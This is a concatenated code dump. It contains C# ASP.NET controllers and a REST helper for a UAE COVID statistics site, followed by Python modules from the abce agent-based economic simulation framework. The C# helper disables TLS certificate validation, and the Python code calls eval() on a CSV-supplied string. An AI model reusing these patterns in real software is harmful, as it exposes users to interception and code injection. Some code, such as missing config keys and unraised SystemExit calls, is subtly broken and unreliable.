[HttpPost] [ValidateAntiForgeryToken] public ActionResult Delete(int id, IFormCollection collection) { try { Dictionary<string, object> parameters = new Dictionary<string, object>(); parameters.Add("countryCode", id); Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/DeleteCountry", RestSharp.Method.DELETE, null, parameters, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); if (response.Status == "Success") { return RedirectToAction(nameof(Index)); } else { return View(); } } catch { return View(); } } public ActionResult UAECovidSummary() { Response response = Utilities.UtilityClass.WebRequestWithToken<CovidSummary>("api/UAECovid/GetUAECovidSummary", RestSharp.Method.GET, null, null, null); if (response.Status == "Success") { return View(JsonConvert.DeserializeObject<CovidSummary>(response.Data.ToString())); } return View(); } public ActionResult UAECovidHistory() { Response response = Utilities.UtilityClass.WebRequestWithToken<CovidHistory>("api/UAECovid/GetUAECovidHistory", RestSharp.Method.GET, null, null, null); if (response.Status == "Success") { return View(JsonConvert.DeserializeObject<IList<CovidHistory>>(response.Data.ToString())); } return View(); } public ActionResult CovidSummary(string slug) { Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/GetAllCountries", RestSharp.Method.GET, null, null, null); if (response.Status == "Success") { IList<CountryClass> allCountries = JsonConvert.DeserializeObject<IList<CountryClass>>(response.Data.ToString()); List<SelectListItem> selectListItems = allCountries.Select(x => new SelectListItem { Text = x.Country, Value = x.Slug }).ToList(); ViewBag.AllCountries = selectListItems; } if (!string.IsNullOrEmpty(slug)) { Dictionary<string, object> parameters = new Dictionary<string, object>(); parameters.Add("slug", slug); response = Utilities.UtilityClass.WebRequestWithToken<CovidSummary>("api/UAECovid/GetCovidSummary", RestSharp.Method.GET, null, parameters, null); if (response.Status == "Success" && response.Data != null) { return View(JsonConvert.DeserializeObject<CovidSummary>(response.Data.ToString())); } } return View(); } public ActionResult CovidHistory(string slug) { Response response = Utilities.UtilityClass.WebRequestWithToken<CountryClass>("api/UAECovid/GetAllCountries", RestSharp.Method.GET, null, null, null); if (response.Status == "Success") { IList<CountryClass> allCountries = JsonConvert.DeserializeObject<IList<CountryClass>>(response.Data.ToString()); List<SelectListItem> selectListItems = allCountries.Select(x => new SelectListItem { Text = x.Country, Value = x.Slug }).ToList(); ViewBag.AllCountries = selectListItems; } if (!string.IsNullOrEmpty(slug)) { Dictionary<string, object> parameters = new Dictionary<string, object>(); parameters.Add("slug", slug); response = Utilities.UtilityClass.WebRequestWithToken<CovidHistory>("api/UAECovid/GetCovidHistory", RestSharp.Method.GET, null, parameters, null); if (response.Status == "Success" && response.Data != null) { return View(JsonConvert.DeserializeObject<IList<CovidHistory>>(response.Data.ToString())); } } return View(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace UAECovidAPI.Models { public class Global { /* "NewConfirmed": 100282, "TotalConfirmed": 1162857, "NewDeaths": 5658, "TotalDeaths": 63263, "NewRecovered": 15405, "TotalRecovered": 230845 */ public Int64 NewConfirmed { get; set; } public Int64 TotalConfirmed { get; set; } public Int64 NewDeaths { get; set; } public Int64 TotalDeaths { get; set; } public Int64 NewRecovered { get; set; } public Int64 TotalRecovered { get; set; } public List<Countries> Countries { get; set; } public DateTime Date { get; set; } } } <file_sep>using CovidInfoWebApp.Models; using Newtonsoft.Json; using RestSharp; using System; using System.Collections.Generic; using System.Linq; using System.Net.Http; using System.Threading.Tasks; namespace CovidInfoWebApp.Utilities { public static class UtilityClass { static string BaseAddress = "https://localhost:44361/"; public static TokenClass GetToken(LoginModel model) { var client = new RestClient(BaseAddress); var request = new RestRequest("api/Authenticate/login", Method.POST); client.RemoteCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => true; request.RequestFormat = DataFormat.Json; string body = JsonConvert.SerializeObject(model); request.AddJsonBody(body); IRestResponse queryResult = client.Execute(request); if (queryResult.IsSuccessful) { return JsonConvert.DeserializeObject<TokenClass>(queryResult.Content); } return null; } public static Response WebRequestWithToken<T>(string address, Method method, T model,Dictionary<string,object> parameters, string token) { var client = new RestClient(BaseAddress); var request = new RestRequest(address, method); client.RemoteCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => true; if (token !=null) { client.AddDefaultHeader("Authorization", string.Format("Bearer {0}", token)); } if (model !=null) { request.RequestFormat = DataFormat.Json; string body = JsonConvert.SerializeObject(model); request.AddJsonBody(body); } if (parameters!=null && parameters.Count != 0) { foreach (var item in parameters) { request.AddParameter(item.Key,item.Value); } } IRestResponse queryResult = client.Execute(request); if (queryResult.IsSuccessful) { return JsonConvert.DeserializeObject<Response>(queryResult.Content); } return null; } //public void WebRequest(string address, Method method,string token) //{ // var client = new RestClient(BaseAddress); // var request = new RestRequest(address, method); // request.RequestFormat = DataFormat.Json; // // request.AddParameter("token", "<PASSWORD>", ParameterType.UrlSegment); // request.AddHeader("content-type", "application/json"); // if (method == Method.GET) // { // // request.OnBeforeDeserialization = resp => { resp.ContentType = "application/json"; }; // var queryResult = client.Execute(request); // } // //request.AddBody(new Item // //{ // // ItemName = someName, // // Price = 19.99 // //}); // //client.Execute(request); //} } public class TokenClass { public string Token { get; set; } public DateTime Expiration { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.Linq; using System.Threading.Tasks; namespace CovidInfoWebApp.Models { public class CountryClass { public int Id { get; set; } public string Country { get; set; } public string Code { get; set; } public string Slug { get; set; } } public class Response { public string Status { get; set; } public string Message { get; set; } public object Data { get; set; } } public class CovidSummary { public string Country { get; set; } public string CountryCode { get; set; } public string Slug { get; set; } public Int64 NewConfirmed { get; set; } public Int64 TotalConfirmed { get; set; } public Int64 NewDeaths { get; set; } public Int64 TotalDeaths { get; set; } public Int64 NewRecovered { get; set; } public Int64 TotalRecovered { get; set; } public DateTime Date { get; set; } } public class CovidHistory { public string Country { get; set; } public string CountryCode { get; set; } public string Province { get; set; } public string City { get; set; } public string CityCode { get; set; } public string Lat { get; set; } public string Lon { get; set; } public Int64 Confirmed { get; set; } public Int64 Deaths { get; set; } public Int64 Recovered { get; set; } public Int64 Active { get; set; } public DateTime Date { get; set; } } public class RegisterModel { [Required(ErrorMessage = "UserName is required")] public string UserName { get; set; } [Required(ErrorMessage = "Email is required")] public string Email { get; set; } [Required(ErrorMessage = "Password is required")] public string Password { get; set; } } } <file_sep>using CovidInfoWebApp.Models; using CovidInfoWebApp.Utilities; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace CovidInfoWebApp.Controllers { public class AccountController : Controller { private readonly IHttpContextAccessor _httpContextAccessor; public AccountController(IHttpContextAccessor httpContextAccessor) { this._httpContextAccessor = httpContextAccessor; } [HttpGet] public IActionResult Index() { return View(); } [HttpPost] public IActionResult Index(LoginModel model) { TokenClass token = Utilities.UtilityClass.GetToken(model); SetCookie("Token", token.Token, token.Expiration); return RedirectToAction("Index", "Content"); //View(); } [HttpPost] public IActionResult LogOut() { Response.Cookies.Delete("Token"); return RedirectToAction("Index"); } public IActionResult Register() { ViewBag.Message = ""; return View(); } [HttpPost] public IActionResult Register(RegisterModel model) { Response response = Utilities.UtilityClass.WebRequestWithToken<RegisterModel>("api/Authenticate/register-admin", RestSharp.Method.POST, model, null, _httpContextAccessor.HttpContext.Request.Cookies["Token"]); ViewBag.Message =response !=null ? response.Message : "Could not register user"; return View(); } public void SetCookie(string key, string value, DateTime expireTime) { CookieOptions option = new CookieOptions(); option.Expires = expireTime; option.HttpOnly = true; option.Secure = true; Response.Cookies.Append(key, value, option); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace UAECovidAPI.Models { public class AllCovidStatus { /* {"Country":"United Arab Emirates","CountryCode":"","Province":"","City":"","CityCode":"","Lat":"0","Lon":"0","Confirmed":37642,"Deaths":274,"Recovered":20337,"Active":17031,"Date":"2020-06-05T00:00:00Z"} */ public string Country { get; set; } public string CountryCode { get; set; } public string Province { get; set; } public string City { get; set; } public string CityCode { get; set; } public string Lat { get; set; } public string Lon { get; set; } public Int64 Confirmed { get; set; } public Int64 Deaths { get; set; } public Int64 Recovered { get; set; } public Int64 Active { get; set; } public DateTime Date { get; set; } } }
0223e1eb99613878a0aacffca5bedcd6ccb2cc4d
[ "C#" ]
11
C#
chinnuthilakgmail/UAECovidAPI
011f7a3d79a5dbcd540065318192a924afcba85f
7c05ebef567d2cbbde86278060b1481a91523ac4
refs/heads/master
<file_sep>import os if os.name in ('posix', 'Darwin'): # unix compatible zmq_transport = 'ipc' # possible values: # 'ipc' for unix/linux/bsd/mac computers # 'tcp' for windows (single processor) computers, windows, unix clusters / clouds else: zmq_transport = 'tcp' # possible values: # 'ipc' for unix/linux/bsd/mac computers # 'tcp' for windows (single processor) computers, windows, unix clusters / clouds if not(os.name in ('nt')): print("Os not recognized, defaulted to tcp (slow) for windows" " compatibility. Edit config.py to choose ipc if you use anything but" "windows and get this message. Please track the bug on Github.") config_tcp = { 'command_addresse': "tcp://*:5001", 'ready': "tcp://*:5002", 'frontend': "tcp://*:5003", 'backend': "tcp://*:5004", 'database': "tcp://*:5005" } <file_sep># Copyright 2012 <NAME> # # Module Author: <NAME> # # ABCE is open-source software. If you are using ABCE for your research you are # requested the quote the use of this software. # # Licensed under the Apache License, Version 2.0 (the "License"); you may not # use this file except in compliance with the License and quotation of the # author. You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations under # the License. """ The best way to start creating a simulation is by copying the start.py file and other files from 'abce/template'. To see how to create a simulation read :doc:`Walk_through`. In this module you will find the explanation for the command. This is a minimal template for a start.py:: from __future__ import division # makes / division work correct in python ! from agent import Agent from abce import * for parameters in read_parameters('simulation_parameters.csv'): s = Simulation(parameters) action_list = [ ('all', 'one'), ('all', 'two'), ('all', 'three'), ] s.add_action_list(action_list) s.build_agents(Agent, 2) s.run() """ import csv import datetime import os import time import zmq import inspect from abce.tools import agent_name, group_address import multiprocessing import abce.db import abce.abcelogger import itertools import postprocess from glob import glob import subround from firm import * from firmmultitechnologies import * from household import * from agent import * BASEPATH = os.path.dirname(os.path.realpath(__file__)) def read_parameters(parameters_file='simulation_parameters.csv', delimiter='\t', quotechar='"'): """ reads a parameter file line by line and gives a list. Where each line contains all parameters for a particular run of the simulation. Args: parameters_file (optional): filename of the csv file. (default:`simulation_parameters.csv`) delimiter (optional): delimiter of the csv file. (default: tabs) quotechar (optional): for single entries that contain the delimiter. (default: ") See python csv lib http://docs.python.org/library/csv.html This code reads the file and runs a simulation for every line:: for parameter in read_parameters('simulation_parameters.csv'): w = Simulation(parameter) w.build_agents(Agent, 'agent', 'num_agents') w.run() """ start_time = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M") parameter_array = [] csvfile = open(parameters_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) reader = csv.reader(csvfile, dialect) keys = [key.lower() for key in reader.next()] for line in reader: if line == []: continue cells = [_number_or_string(cell.lower()) for cell in line] parameter = dict(zip(keys, cells)) if 'num_rounds' not in keys: raise SystemExit('No "num_rounds" column in ' + parameters_file) if 'name' not in parameter: try: parameter['name'] = parameter['Name'] except KeyError: print("no 'name' (lowercase) column in " + parameters_file) parameter['name'] = 'abce' parameter['name'] = str(parameter['name']).strip("""\"""").strip("""\'""") try: if parameter['random_seed'] == 0: parameter['random_seed'] = None except KeyError: parameter['random_seed'] = None parameter['_path'] = os.path.abspath('./result/' + parameter['name'] + '_' + start_time) try: os.makedirs('./result/') except OSError: pass try: os.makedirs(parameter['_path']) except OSError: files = glob(parameter['_path'] + '/*') for f in files: os.remove(f) for key in parameter: if key == '' or key[0] == '#' or key[0] == '_': del key parameter_array.append(parameter) return parameter_array #TODO put the initialisation in the init so that it can eat a dict class Simulation: """ This class in which the simulation is run. It takes the simulation_parameters to set up the simulation. Actions and agents have to be added. databases and resource declarations can be added. Then runs the simulation. Usually the parameters are specified in a tab separated csv file. The first line are column headers. Args:: simulation_parameters: a dictionary with all parameters. "name" and "num_rounds" are mandatory. Example:: for simulation_parameters in read_parameters('simulation_parameters.csv'): action_list = [ ('household', 'recieve_connections'), ('household', 'offer_capital'), ('firm', 'buy_capital'), ('firm', 'production'), ('household', 'buy_product') 'after_sales_before_consumption' ('household', 'consume') ] w = Simulation(simulation_parameters) w.add_action_list(action_list) w.build_agents(Firm, 'firm', 'num_firms') w.build_agents(Household, 'household', 'num_households') w.declare_round_endowment(resource='labor_endowment', productivity=1, product='labor') w.declare_round_endowment(resource='capital_endowment', productivity=1, product='capital') w.panel_data('firm', command='after_sales_before_consumption') w.run() """ def __init__(self, simulation_parameters): self.simulation_parameters = simulation_parameters self._action_groups = {} self.agent_list = {} self._action_list = [] self._resource_commands = {} self._perish_commands = {} self._aesof_commands = {} self._resource_command_group = {} self._db_commands = {} self.num_agents = 0 self.num_agents_in_group = {} self._build_first_run = True self._agent_parameters = None from config import zmq_transport if zmq_transport == 'inproc': self._addresses = { 'type': 'inproc', 'command_addresse': "inproc://commands", 'ready': "inproc://ready", 'frontend': "inproc://frontend", 'backend': "inproc://backend", 'group_backend': "inproc://group_backend", 'database': "inproc://database", 'logger': "inproc://logger" } if zmq_transport == 'ipc': self._addresses = { 'command_addresse': "ipc://commands.ipc", 'ready': "ipc://ready.ipc", 'frontend': "ipc://frontend.ipc", 'backend': "ipc://backend.ipc", 'group_backend': "ipc://group_backend", 'database': "ipc://database.ipc", 'logger': "ipc://logger.ipc" } if zmq_transport == 'tcp': from config import config_tcp self._addresses = { 'command_addresse': config_tcp['command_addresse'], 'ready': config_tcp['ready'], 'frontend': config_tcp['frontend'], 'backend': config_tcp['backend'], 'group_backend': config_tcp['group_backend'], 'database': config_tcp['database'], 'logger': config_tcp['logger'], } #time.sleep(1) self.database_name = 'database' self.context = zmq.Context() self.commands = self.context.socket(zmq.PUB) self.commands.bind(self._addresses['command_addresse']) self.ready = self.context.socket(zmq.PULL) self.ready.bind(self._addresses['ready']) self._communication = _Communication(self._addresses) self._communication.start() self.ready.recv() self.communication_channel = self.context.socket(zmq.PUSH) self.communication_channel.connect(self._addresses['frontend']) self._register_action_groups() self._db = abce.db.Database(simulation_parameters['_path'], self.database_name, self._addresses) self._logger = abce.abcelogger.AbceLogger(simulation_parameters['_path'], 'logger', self._addresses) self._db.start() self._logger.start() self.aesof = False self.round = 0 try: self.trade_logging_mode = simulation_parameters['trade_logging'].lower() except KeyError: self.trade_logging_mode = 'individual' print("'trade_logging' in simulation_parameters.csv not set" ", default to 'individual', possible values " "('group' (fast) or 'individual' (slow) or 'off')") if not(self.trade_logging_mode in ['individual', 'group', 'off']): print(type(self.trade_logging_mode), self.trade_logging_mode, 'error') SystemExit("'trade_logging' in simulation_parameters.csv can be " "'group' (fast) or 'individual' (slow) or 'off'" ">" + self.trade_logging_mode + "< not accepted") assert self.trade_logging_mode in ['individual', 'group', 'off'] def add_action_list(self, action_list): """ add an `action_list`, which is a list of either: - tuples of an goup_names and and action - a single command string for panel_data or follow_agent - [tuples of an agent name and and action, currently not unit tested!] Example:: action_list = [ repeat([ ('Firm', 'sell'), ('Household', 'buy') ], repetitions=10 ), ('Household_03', 'dance') 'panel_data_end_of_round_befor consumption', ('Household', 'consume'), ] w.add_action_list(action_list) """ self.action_list = action_list def add_action_list_from_file(self, parameter): """ The action list can also be declared in the simulation_parameters.csv file. Which allows you to run a batch of simulations with different orders. In simulation_parameters.csv there must be a column with which contains the a declaration of the action lists: +-------------+-------------+--------------------------------------------+-----------+ | num_rounds | num_agents | action_list | endowment | +=============+=============+============================================+===========+ | 1000, | 10, | [ ('firm', 'sell'), ('household', 'buy')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ | 1000, | 10, | [ ('firm', 'buf'), ('household', 'sell')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ | 1000, | 10, | [ ('firm', 'sell'), | | | | | ('household', 'calculate_net_wealth'), | | | | | ('household', 'buy')], | (5,5) | +-------------+-------------+--------------------------------------------+-----------+ The command:: self.add_action_list_from_file('parameters['action_list']) Args:: parameter a string that contains the action_list. The string can be read from the simulation_parameters file: parameters['action_list'], where action_list is the column header in simulation_parameters. """ self.add_action_list(eval(parameter)) #TODO test def _register_action_groups(self): """ makes methods accessable for the action_list """ reserved_words = ['build_agents', 'run', 'ask_agent', 'ask_each_agent_in', 'register_action_groups'] for method in inspect.getmembers(self): if (inspect.ismethod(method[1]) and method[0][0] != '_' and method[0] not in reserved_words): self._action_groups[method[0]] = method[1] self._action_groups['_advance_round_agents'] = self._advance_round_agents def declare_round_endowment(self, resource, productivity, product, command='default_resource', group='all'): """ Every round the agent gets 'productivity' units of good 'product' for every 'resource' he possesses. By default the this happens at the beginning of the round. You can change this. Insert the command string you chose it self.action_list. One command can be associated with several resources. Round endowments can be goup specific, that means that when somebody except this group holds them they do not produce. The default is 'all'. Restricting this to a group could have small speed gains. """ productivity = str(productivity) if command not in self._resource_commands: self._resource_commands[command] = [] if command in self._resource_command_group: if self._resource_command_group[command] != group: raise SystemExit('Different groups assigned to the same command') else: self._resource_command_group[command] = group self._resource_commands[command].append([resource, productivity, product]) def _make_resource_command(self, command): resources_in_this_command = self._resource_commands[command][:] group = self._resource_command_group[command] group_and_method = [group, '_produce_resource_rent_and_labor'] def send_resource_command(): for productivity in resources_in_this_command: self.commands.send_multipart(group_and_method + productivity) return send_resource_command #TODO could be made much faster by sending all resource simultaneously #as in _make_perish_command def declare_perishable(self, good, command='perish_at_the_round_end'): """ This good only lasts one round and then disappears. For example labor, if the labor is not used today today's labor is lost. In combination with resource this is useful to model labor or capital. In the example below a worker has an endowment of labor and capital. Every round he can sell his labor service and rent his capital. If he does not the labor service for this round and the rent is lost. Args:: good: the good that perishes [command: In order to perish at another point in time you can choose a commmand and insert that command in the action list. Example:: w.declare_round_endowment(resource='LAB_endowment', productivity=1000, product='LAB') w.declare_round_endowment(resource='CAP_endowment', productivity=1000, product='CAP') w.declare_perishable(good='LAB') w.declare_perishable(good='CAP') """ if command not in self._perish_commands: self._perish_commands[command] = [] self._perish_commands[command].append(good) def _make_perish_command(self, command): goods = self._perish_commands[command][:] def send_perish_command(): self.commands.send_multipart(['all', '_perish'] + goods) return send_perish_command #TODO also for other variables def panel_data(self, group, variables='goods', typ='FLOAT', command='round_end'): """ Ponel_data writes variables of a group of agents into the database, by default the db write is at the end of the round. You can also specify a command and insert the command you choose in the action_list. If you choose a custom command, you can declare a method that returns the variable you want to track. This function in the class of the agent must have the same name as the command. You can use the same command for several groups, that report at the same time. Args: group: can be either a group or 'all' for all agents variables (optional): default='goods' monitors all the goods the agent owns you can insert any variable your agent possesses. For self.knows_latin you insert 'knows_latin'. If your agent has self.technology you can use 'technology['formula']' In this case you must set the type to CHAR(50) with the typ='CHAR(50)' parameter. typ: the type of the sql variable (FLOAT, INT, CHAR(length)) command Example in start.py:: w.panel_data(group='Firm', command='after_production') or w.panel_data(group=firm) Optional in the agent:: class Firm(AgentEngine): ... def after_production(self): track = {} track['t'] = 'yes' for key in self.prices: track['p_' + key] = self.prices[key] track.update(self.product[key]) return track """ if variables != 'goods': raise SystemExit('Not implemented') if command not in self._db_commands: self._db_commands[command] = [] self._db_commands[command].append([group, variables, typ]) self._db.add_panel(group, command) def _make_db_command(self, command): db_in_this_command = self._db_commands[command][:] def send_db_command(): for db_good in db_in_this_command: self.commands.send_multipart([group_address(db_good[0]), '_db_panel', command]) # self._add_agents_to_wait_for(self.num_agents_in_group[db_good[0]]) return send_db_command def _process_action_list(self, action_list): processed_list = [] for action in action_list: if type(action) is tuple: if action[0] not in self.num_agents_in_group.keys() + ['all']: SystemExit('%s in (%s, %s) in the action_list is not a known agent' % (action[0], action[0], action[1])) action_name = '_' + action[0] + '|' + action[1] self._action_groups[action_name] = self._make_ask_each_agent_in(action) processed_list.append(action_name) elif isinstance(action, repeat): nested_action_list = self._process_action_list(action.action_list) for _ in range(action.repetitions): processed_list.extend(nested_action_list) else: processed_list.append(action) return processed_list def run(self): """ This runs the simulation """ if not(self.agent_list): raise SystemExit('No Agents Created') if not(self.action_list) and not(self._action_list): raise SystemExit('No action_list declared') if not(self._action_list): self._action_list = self._process_action_list(self.action_list) for command in self._db_commands: self._action_groups[command] = self._make_db_command(command) if command not in self._action_list: self._action_list.append(command) for command in self._resource_commands: self._action_groups[command] = self._make_resource_command(command) if command not in self._action_list: self._action_list.insert(0, command) for command in self._perish_commands: self._action_groups[command] = self._make_perish_command(command) if command not in self._action_list: self._action_list.append(command) if self.aesof: self._action_groups['aesof'] = self._make_aesof_command() if 'aesof' not in self._action_list: self._action_list.insert(0, 'aesof') self._action_list.append('_advance_round_agents') self._write_description_file() self._displaydescribtion() self._add_agents_to_wait_for(self.num_agents) self._wait_for_agents() start_time = time.time() for year in xrange(self.simulation_parameters['num_rounds']): print("\nRound" + str("%3d" % year)) for action in self._action_list: self._action_groups[action]() self._wait_for_agents_than_signal_end_of_comm() self.commands.send_multipart(['all', '_clearing__end_of_subround']) print(str("%6.2f" % (time.time() - start_time))) for agent in list(itertools.chain(*self.agent_list.values())): self.commands.send_multipart([agent.name, "!", "die"]) for agent in list(itertools.chain(*self.agent_list.values())): while agent.is_alive(): time.sleep(0.1) self._end_Communication() database = self.context.socket(zmq.PUSH) database.connect(self._addresses['database']) database.send('close') logger = self.context.socket(zmq.PUSH) logger.connect(self._addresses['logger']) logger.send('close') while self._db.is_alive(): time.sleep(0.05) while self._communication.is_alive(): time.sleep(0.025) postprocess.to_r_and_csv(os.path.abspath(self.simulation_parameters['_path']), self.database_name) self.context.destroy() def _make_ask_each_agent_in(self, action): group_address_var = group_address(action[0]) number = self.num_agents_in_group[action[0]] def ask_each_agent_with_address(): self._add_agents_to_wait_for(number) self.commands.send_multipart([group_address_var, action[1]]) return ask_each_agent_with_address def ask_each_agent_in(self, group_name, command): """ This is only relevant when you derive your custom world/swarm not in start.py applying a method to a group of agents group_name, method. Args:: agent_group: using group_address('group_name', number) method: as string """ self._add_agents_to_wait_for(self.num_agents_in_group[group_name]) self.commands.send_multipart([group_address(group_name), command]) def ask_agent(self, group, idn, command): """ This is only relevant when you derive your custom world/swarm not in start.py applying a method to a single agent Args:: agent_name as string or using agent_name('group_name', number) method: as string """ self._add_agents_to_wait_for(1) self.commands.send_multipart([INDIVIDUAL_AGENT_SUBSCRIBE % (group, idn), command]) def build_agents(self, AgentClass, number=None, group_name=None, agents_parameters=None): """ This method creates agents, the first parameter is the agent class. "num_agent_class" (e.G. "num_firm") should be difined in simulation_parameters.csv. Alternatively you can also specify number = 1.s Args:: AgentClass: is the name of the AgentClass that you imported number (optional): number of agents to be created. or the colum name of the row in simulation_parameters.csv that contains this number. If not specified the column name is assumed to be 'num_' + agent_name (all lowercase). For example num_firm, if the class is called Firm or name = Firm. [group_name (optional): to give the group a different name than the class_name. (do not use this if you have not a specific reason] Example:: w.build_agents(Firm, number='num_firms') # 'num_firms' is a column in simulation_parameters.csv w.build_agents(Bank, 1) w.build_agents(CentralBank, number=1) """ #TODO single agent groups get extra name without number #TODO when there is a group with a single agent the ask_agent has a confusingname if not(group_name): group_name = AgentClass.__name__.lower() if number and not(agents_parameters): try: num_agents_this_group = int(number) except ValueError: try: num_agents_this_group = self.simulation_parameters[number] except KeyError: SystemExit('build_agents ' + group_name + ': ' + number + ' is not a number or a column name in simulation_parameters.csv' 'or the parameterfile you choose') elif not(number) and not(agents_parameters): try: num_agents_this_group = self.simulation_parameters['num_' + group_name.lower()] except KeyError: raise SystemExit('num_' + group_name.lower() + ' is not in simulation_parameters.csv') elif not(number) and agents_parameters: num_agents_this_group = len(agents_parameters) self.simulation_parameters['num_' + group_name.lower()] = num_agents_this_group else: raise SystemExit('build_agents ' + group_name + ': Either ' 'number_or_parameter_column or agents_parameters must be' 'specied, NOT both.') if not(agents_parameters): agents_parameters = [None for _ in range(num_agents_this_group)] self.num_agents += num_agents_this_group self.num_agents_in_group[group_name] = num_agents_this_group self.num_agents_in_group['all'] = self.num_agents self.agent_list[group_name] = [] for idn in range(num_agents_this_group): agent = AgentClass(self.simulation_parameters, agents_parameters[idn], [idn, group_name, self._addresses, self.trade_logging_mode]) agent.name = agent_name(group_name, idn) agent.start() self.agent_list[group_name].append(agent) def build_agents_from_file(self, AgentClass, parameters_file=None, multiply=1, delimiter='\t', quotechar='"'): """ This command builds agents of the class AgentClass from an csv file. This way you can build agents and give every single one different parameters. The file must be tab separated. The first line contains the column headers. The first column "agent_class" specifies the agent_class. The second column "number" (optional) allows you to create more than one agent of this type. The other columns are parameters that you can access in own_parameters the __init__ function of the agent. Agent created from a csv-file:: class Agent(AgentEngine): def __init__(self, simulation_parameter, own_parameters, _pass_to_engine): AgentEngine.__init__(self, *_pass_to_engine) self.size = own_parameters['firm_size'] """ #TODO declare all self.simulation_parameters['num_XXXXX'], when this is called the first time if parameters_file == None: try: parameters_file = self.simulation_parameters['agent_parameters_file'] except KeyError: parameters_file = 'agents_parameters.csv' elif self._agent_parameters == None: if parameters_file != self._agent_parameters: SystemExit('All agents must be declared in the same agent_parameters.csv file') self._agent_parameters = parameters_file agent_class = AgentClass.__name__.lower() agents_parameters = [] csvfile = open(parameters_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) agent_file = csv.reader(csvfile, dialect) keys = [key for key in agent_file.next()] if not(set(('agent_class', 'number')).issubset(keys)): SystemExit(parameters_file + " does not have a column 'agent_class'" "and/or 'number'") agents_list = [] for line in agent_file: cells = [_number_or_string(cell) for cell in line] agents_list.append(dict(zip(keys, cells))) if self._build_first_run: for line in agents_list: num_entry = 'num_' + line['agent_class'].lower() if num_entry not in self.simulation_parameters: self.simulation_parameters[num_entry] = 0 self.simulation_parameters[num_entry] += int(line['number']) self._build_first_run = False for line in agents_list: if line['agent_class'] == agent_class: agents_parameters.extend([line for _ in range(line['number'] * multiply)]) self.build_agents(AgentClass, agents_parameters=agents_parameters) def debug_subround(self): self.subround = subround.Subround(self._addresses) self.subround.start() def _advance_round_agents(self): """ advances round by 1 """ self.round += 1 self.commands.send_multipart(['all', '_advance_round']) def _add_agents_to_wait_for(self, number): self.communication_channel.send_multipart(['!', '+', str(number)]) def _wait_for_agents_than_signal_end_of_comm(self): self.communication_channel.send_multipart(['!', '}']) try: self.ready.recv() except KeyboardInterrupt: print('KeyboardInterrupt: abce.db: _wait_for_agents_than_signal_end_of_comm(self) ~654') def _wait_for_agents(self): self.communication_channel.send_multipart(['!', ')']) try: self.ready.recv() except KeyboardInterrupt: print('KeyboardInterrupt: abce.db: _wait_for_agents(self) ~662') def _end_Communication(self): self.communication_channel.send_multipart(['!', '!', 'end_simulation']) def _write_description_file(self): description = open( os.path.abspath(self.simulation_parameters['_path'] + '/description.txt'), 'w') description.write('\n') description.write('\n') for key in self.simulation_parameters: description.write(key + ": " + str(self.simulation_parameters[key]) + '\n') def _displaydescribtion(self): description = open(self.simulation_parameters['_path'] + '/description.txt', 'r') print(description.read()) def declare_aesof(self, aesof_file='aesof.csv'): """ AESOF lets you determine agents behaviour from an comma sepertated sheet. First row must be column headers. There must be one column header 'round' and a column header name. A name can be a goup are and individal (goup_id e.G. firm_01) it can also be 'all' for all agents. Every round, the agents self.aesof parameters get updated, if a row with the corresponding round and agent name exists. Therefore an agent can access the parameters `self.aesof[column_name]` for the current round. (or the precedent one when there was no update) parameter is set. You can use it in your source code. It is persistent until the next round for which a corresponding row exists. You can alse put commands or call methods in the excel file. For example: `self.aesof_exec(column_name)`. Alternatively you can declare a variable according to a function: `willingness_to_pay = self.aesof_eval(column_name)`. There is a big difference between `self.aesof_exec` and `self.aesof_eval`. exec is only executed in rounds that have corresponding rows in aesof.csv. `self.aesof_eval` is persistent every round the expression of the row corresponding to the current round round or the last declared round is executed. Args: aesof_file(optional): name of the csv_file. Default is the group name plus 'aesof.csv'. """ csvfile = open(aesof_file) dialect = csv.Sniffer().sniff(csvfile.read(1024)) csvfile.seek(0) reader = csv.reader(csvfile, dialect) keys = [key.lower() for key in reader.next()] if not 'name' in keys: SystemExit("no column 'name' in the aesof.csv") if not 'round' in keys: SystemExit("no column 'round' in the aesof.csv") self.aesof_dict = {} for line in reader: line = [_number_or_string(cell) for cell in line] dictionary = dict(zip(keys, line)) round = int(dictionary['round']) if round not in self.aesof_dict: self.aesof_dict[round] = [] self.aesof_dict[round].append(dictionary) if 0 not in self.aesof_dict: SystemExit('Round 0 must always be declare, with initial values') self.aesof = True def _make_aesof_command(self): for round in self.aesof_dict.keys(): for round_line in self.aesof_dict[round]: if round_line['name'] not in self.num_agents_in_group.keys() + ['all']: SystemExit("%s in '%s' under 'name' is an unknown agent" % (round_line['name'], round_line)) def send_aesof_command(): try: for round_line in self.aesof_dict[self.round]: self.commands.send_multipart(['%s:' % round_line['name'], '_aesof'], zmq.SNDMORE) self.commands.send_json(round_line) except KeyError: if self.round in self.aesof_dict: raise return send_aesof_command class repeat: """ Repeats the contained list of actions several times Args: action_list: action_list that is repeated repetitions: the number of times that an actionlist is repeated or the name of the corresponding parameter in simulation_parameters.csv Example with number of repetitions in simulation_parameters.csv:: action_list = [ repeat([ ('firm', 'sell'), ('household', 'buy') ], repetitions=parameter['number_of_trade_repetitions'] ), ('household_03', 'dance') 'panel_data_end_of_round_before consumption', ('household', 'consume'), ] s.add_action_list(action_list) """ def __init__(self, action_list, repetitions): self.action_list = action_list self.repetitions = repetitions class repeat_while: """ NOT IMPLEMENTED Repeats the contained list of actions until all agents_risponed done. Optional a maximum can be set. Args:: action_list: 